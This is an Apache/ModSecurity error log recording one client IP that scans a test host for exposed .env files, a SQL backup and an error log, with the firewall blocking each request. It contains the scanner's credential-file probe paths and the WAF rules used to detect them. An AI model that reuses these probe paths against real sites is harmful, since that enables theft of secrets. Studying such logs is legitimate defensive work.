[Mon Jan 12 12:31:54.880835 2026] [:error] [pid 1355925] [client 35.180.31.174:34570] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aWTbqk7thAymmecRvtl0QgAAAAI"]
[Mon Jan 12 12:31:54.880996 2026] [:error] [pid 1355925] [client 35.180.31.174:34570] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lab/.env"] [unique_id "aWTbqk7thAymmecRvtl0QgAAAAI"]
[Mon Jan 12 12:31:54.960223 2026] [:error] [pid 1355924] [client 35.180.31.174:34600] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /exapi/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aWTbqtIpinFXoPzDav5waAAAAAE"]
[Mon Jan 12 12:31:54.960386 2026] [:error] [pid 1355924] [client 35.180.31.174:34600] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aWTbqtIpinFXoPzDav5waAAAAAE"]
[Mon Jan 12 12:31:54.960526 2026] [:error] [pid 1355924] [client 35.180.31.174:34600] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/exapi/.env"] [unique_id "aWTbqtIpinFXoPzDav5waAAAAAE"]
[Mon Jan 12 12:31:55.039372 2026] [:error] [pid 1365300] [client 35.180.31.174:34626] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aWTbq9lKlmIJBGbQbR78WQAAAAs"]
[Mon Jan 12 12:31:55.039557 2026] [:error] [pid 1365300] [client 35.180.31.174:34626] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aWTbq9lKlmIJBGbQbR78WQAAAAs"]
[Mon Jan 12 12:31:55.039714 2026] [:error] [pid 1365300] [client 35.180.31.174:34626] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web/.env"] [unique_id "aWTbq9lKlmIJBGbQbR78WQAAAAs"]
[Mon Jan 12 12:31:55.117999 2026] [authz_core:error] [pid 1358564] [client 35.180.31.174:34660] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.env
[Mon Jan 12 12:31:55.196769 2026] [:error] [pid 1362231] [client 35.180.31.174:34680] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aWTbq8uCkgRo958sQERiGQAAAAc"]
[Mon Jan 12 12:31:55.196943 2026] [:error] [pid 1362231] [client 35.180.31.174:34680] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aWTbq8uCkgRo958sQERiGQAAAAc"]
[Mon Jan 12 12:31:55.197098 2026] [:error] [pid 1362231] [client 35.180.31.174:34680] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.env"] [unique_id "aWTbq8uCkgRo958sQERiGQAAAAc"]
[Mon Jan 12 12:31:55.275101 2026] [:error] [pid 1356126] [client 35.180.31.174:34712] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aWTbqzv8xyMiuvwfNnlj0wAAAAU"]
[Mon Jan 12 12:31:55.275283 2026] [:error] [pid 1356126] [client 35.180.31.174:34712] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aWTbqzv8xyMiuvwfNnlj0wAAAAU"]
[Mon Jan 12 12:31:55.275422 2026] [:error] [pid 1356126] [client 35.180.31.174:34712] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/modules/.env"] [unique_id "aWTbqzv8xyMiuvwfNnlj0wAAAAU"]
[Mon Jan 12 12:31:55.356338 2026] [:error] [pid 1355923] [client 35.180.31.174:34746] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aWTbqyE1xEBhFyXickXrhwAAAAA"]
[Mon Jan 12 12:31:55.356513 2026] [:error] [pid 1355923] [client 35.180.31.174:34746] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aWTbqyE1xEBhFyXickXrhwAAAAA"]
[Mon Jan 12 12:31:55.356653 2026] [:error] [pid 1355923] [client 35.180.31.174:34746] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/psnlink/.env"] [unique_id "aWTbqyE1xEBhFyXickXrhwAAAAA"]
[Mon Jan 12 12:31:55.437339 2026] [:error] [pid 1355926] [client 35.180.31.174:34778] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db_backup.sql"] [unique_id "aWTbq8C2y5bYy1r2HoPzHgAAAAM"]
[Mon Jan 12 12:31:55.437626 2026] [:error] [pid 1355926] [client 35.180.31.174:34778] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db_backup.sql"] [unique_id "aWTbq8C2y5bYy1r2HoPzHgAAAAM"]
[Mon Jan 12 12:31:55.437786 2026] [:error] [pid 1355926] [client 35.180.31.174:34778] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/db_backup.sql"] [unique_id "aWTbq8C2y5bYy1r2HoPzHgAAAAM"]
[Mon Jan 12 12:31:55.516616 2026] [:error] [pid 1362233] [client 35.180.31.174:34810] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aWTbq32DuVtAKraH1YONewAAAAk"]
[Mon Jan 12 12:31:55.516827 2026] [:error] [pid 1362233] [client 35.180.31.174:34810] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aWTbq32DuVtAKraH1YONewAAAAk"]
[Mon Jan 12 12:31:55.516992 2026] [:error] [pid 1362233] [client 35.180.31.174:34810] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/Datavase/.env"] [unique_id "aWTbq32DuVtAKraH1YONewAAAAk"]
[Mon Jan 12 12:31:55.595827 2026] [:error] [pid 1365295] [client 35.180.31.174:34836] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /includes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aWTbqw7npFhQv7HWuOadcwAAAAo"]
[Mon Jan 12 12:31:55.595995 2026] [:error] [pid 1365295] [client 35.180.31.174:34836] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aWTbqw7npFhQv7HWuOadcwAAAAo"]
[Mon Jan 12 12:31:55.596147 2026] [:error] [pid 1365295] [client 35.180.31.174:34836] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/includes/.env"] [unique_id "aWTbqw7npFhQv7HWuOadcwAAAAo"]
[Mon Jan 12 12:31:55.674543 2026] [:error] [pid 1355925] [client 35.180.31.174:34880] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aWTbq07thAymmecRvtl0QwAAAAI"]
[Mon Jan 12 12:31:55.674715 2026] [:error] [pid 1355925] [client 35.180.31.174:34880] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aWTbq07thAymmecRvtl0QwAAAAI"]
[Mon Jan 12 12:31:55.674866 2026] [:error] [pid 1355925] [client 35.180.31.174:34880] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aWTbq07thAymmecRvtl0QwAAAAI"]
[Mon Jan 12 12:31:55.753392 2026] [:error] [pid 1355924] [client 35.180.31.174:34904] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /themes/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aWTbq9IpinFXoPzDav5waQAAAAE"]
[Mon Jan 12 12:31:55.753571 2026] [:error] [pid 1355924] [client 35.180.31.174:34904] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aWTbq9IpinFXoPzDav5waQAAAAE"]
[Mon Jan 12 12:31:55.753706 2026] [:error] [pid 1355924] [client 35.180.31.174:34904] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/themes/.env"] [unique_id "aWTbq9IpinFXoPzDav5waQAAAAE"]
[Mon Jan 12 12:31:55.831351 2026] [:error] [pid 1365300] [client 35.180.31.174:34936] [client 35.180.31.174] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "aWTbq9lKlmIJBGbQbR78WgAAAAs"]
[Mon Jan 12 12:31:55.831622 2026] [:error] [pid 1365300] [client 35.180.31.174:34936] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "aWTbq9lKlmIJBGbQbR78WgAAAAs"]
[Mon Jan 12 12:31:55.831774 2026] [:error] [pid 1365300] [client 35.180.31.174:34936] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/error.log"] [unique_id "aWTbq9lKlmIJBGbQbR78WgAAAAs"]
[Mon Jan 12 12:31:55.909321 2026] [:error] [pid 1358564] [client 35.180.31.174:34962] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /sitemaps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aWTbqx_UgGRJ4jDk47tQbwAAAAY"]
[Mon Jan 12 12:31:55.909492 2026] [:error] [pid 1358564] [client 35.180.31.174:34962] [client 35.180.31.174] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aWTbqx_UgGRJ4jDk47tQbwAAAAY"]
[Mon Jan 12 12:31:55.909645 2026] [:error] [pid 1358564] [client 35.180.31.174:34962] [client 35.180.31.174] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sitemaps/.env"] [unique_id "aWTbqx_UgGRJ4jDk47tQbwAAAAY"]
[Mon Jan 12 12:31:55.988132 2026] [:error] [pid 1362231] [client 35.180.31.174:34992] [client 35.180.31.174] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database/.env"] [unique_id "aWTbq8uCkgRo958sQERiGgAAAAc"]
